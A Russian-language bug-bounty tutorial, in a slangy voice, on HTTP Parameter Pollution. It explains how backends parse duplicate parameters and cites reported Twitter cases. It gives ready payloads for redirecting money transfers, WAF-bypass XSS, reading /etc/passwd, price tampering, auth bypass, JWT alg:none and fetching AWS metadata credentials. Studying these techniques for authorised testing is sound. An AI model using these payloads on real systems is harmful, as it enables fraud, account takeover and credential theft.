HTTP Parameter Pollution (HPP) — это когда ты шлёшь ?id=1&id=2, а один парсер хватает первый параметр, другой — второй, и вуаля: ты уже обходишь авторизацию или меняешь логику приложения. Суть в том, что разные технологии по-разному жрут дубликаты параметров, и это можно использовать для pwn’а систем.
Че почем: таблица парсеров-дебилов
Вот как разные бэкенды обрабатывают ?par=val1&par=val2:
| Технология | Что берёт | Результат |
|---|---|---|
| PHP/Apache | Последнее значение | par=val2 |
| JSP/Tomcat | Первое значение | par=val1 |
| ASP.NET/IIS | Все значения (конкатенация) | par=val1,val2 |
| Python/Django | Последнее значение | par=val2 |
Это значит, если фронтенд на Tomcat проверяет первый id=1 (легитимный), а бэкенд на PHP берёт последний id=2 (твой payload) — ты прошёл валидацию и обосрался в чужую админку.
Точка входа: где искать
Что вижу:
-
Параметры в GET/POST запросах (
uid,id,action,price,account) -
Формы с редиректами и URL-билдингом
-
API endpoints с query-параметрами
-
Системы с разными компонентами (фронт + бэкенд, WAF + апп)
Как поймал:
-
Fuzzing дубликатами:
curl "https://target.com/transfer?amount=100&toAccount=legit&toAccount=attacker" -
Burp Repeater: Добавляешь второй параметр вручную, смотришь на поведение
-
Nuclei template: Автоматизация проверки на HPP-паттерны
-
Header smuggling: Иногда работает через Cookie/Referer
Чем пахнет: Обход авторизации (8/10), IDOR (7/10), injection в логику (9/10).
Эксплойт: реальные кейсы
Twitter Intent Bug (Eric Rafaloff)
Твиттер обрабатывал второй параметр screen_name, игнорируя первый:
|
1 |
https://twitter.com/intent/follow?screen_name=twitter&screen_name=attacker |
Форма показывала «Follow @twitter», но клик фолловил @attacker. Классика клиентского HPP.
Money Transfer на стероидах
Представь:
-
Фронтенд:
POST /transferMoney.phpсamount=1000&fromAccount=12345 -
Бэкенд: Добавляет
toAccount=9876(фиксированный счёт компании) -
Ты шлёшь:
amount=1000&fromAccount=12345&toAccount=99999
Если бэкенд на PHP — твой второй toAccount перезапишет дефолтный, деньги полетят на счёт 99999 вместо легитимного 9876.
OWASP-пример с UID
Twitter обнаружил, что ?uid=victim&uid=attacker в email-верификации брал второй UID:
|
1 |
https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+2 |
Твиттер возвращал ошибку на одиночный чужой UID, но с дубликатом — обрабатывал второй, давая доступ к чужому аккаунту.
Обход защиты: трюки
WAF bypass через порядок:
|
1 2 |
# WAF проверяет первый параметр (Tomcat-based), апп берёт последний (PHP) curl "https://target.com/search?query=legit&query=<script>alert(1)</script>" |
WAF видит «legit», пропускает. PHP рендерит второй — XSS fired.
Mod_Security path traversal:
|
1 2 |
# Фильтр видит первый путь, Apache обрабатывает последний GET /download?file=safe.pdf&file=../../../../etc/passwd |
ModSec: «safe.pdf? OK». Apache: «Вот твой /etc/passwd, держи».
Cookie pollution:
Если апп парсит параметры из Cookie и GET — комбинируй:
|
1 2 |
Cookie: role=user GET /?role=admin&role=user |
Некоторые фреймворки мержат источники, беря «последний override» из GET.
Советы
3 вектора для добивания:
-
IDOR через UID/ID: Видишь
?user_id=123в профиле? Попробуй?user_id=123&user_id=1(админ часто ID=1). Если бэкенд на PHP — может взять второй. -
Price manipulation в e-commerce:
|
1 2 |
POST /checkout price=999.99&item_id=1337&price=0.01 |
Если фронтенд валидирует первый (дорогой), а payment gateway берёт последний — покупай Ferrari за рубль.
-
Auth bypass через
logged_in:
|
1 |
GET /admin?logged_in=false&logged_in=true |
Если WAF проверяет первый (безопасный), а апп авторизует по второму — добро пожаловать в /admin.
План атаки (если зацепка есть):
-
Разведка:
ffuf -u "https://target.com/api?id=FUZZ&id=666" -w nums.txt— ищем эндпоинты с ID/UID. -
Определяем бэкенд: По заголовкам (
X-Powered-By,Server) или поведению. PHP берёт последний? Отлично. -
Craft payload: Комбинируй легитимное значение (первое) + вредоносное (второе):
|
1 2 |
curl -X POST https://target.com/transfer \ -d "amount=100&toAccount=legit&toAccount=attacker&amount=999999" |
-
Проверка доказательства: Логинься в victim’s account через
?uid=victim&uid=you. Видишь чужие данные? Скриншот → Standoff365 → $$$$.
Доп-трюки:
-
Проверь
robots.txtиsitemap.xml: Там могут быть/api/v1/transfer,/admin/user-edit— золотые жилы для HPP. -
Если есть JWT: Попробуй
?token=valid&token={"alg":"none"}— может, парсер дублей сломает логику верификации. -
CloudMetadata SSRF + HPP:
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/?role=user&role=admin"— вдруг AWS-токены отдадут admin-роль.
Если всё плохо: Иди фаззить JSON body — там тоже бывают дубликаты ключей {"id":1, "id":2}, и парсеры JSON (Python vs Node.js) обрабатывают их по-разному. Или учи Rust, бро — там хоть типы нормальные.



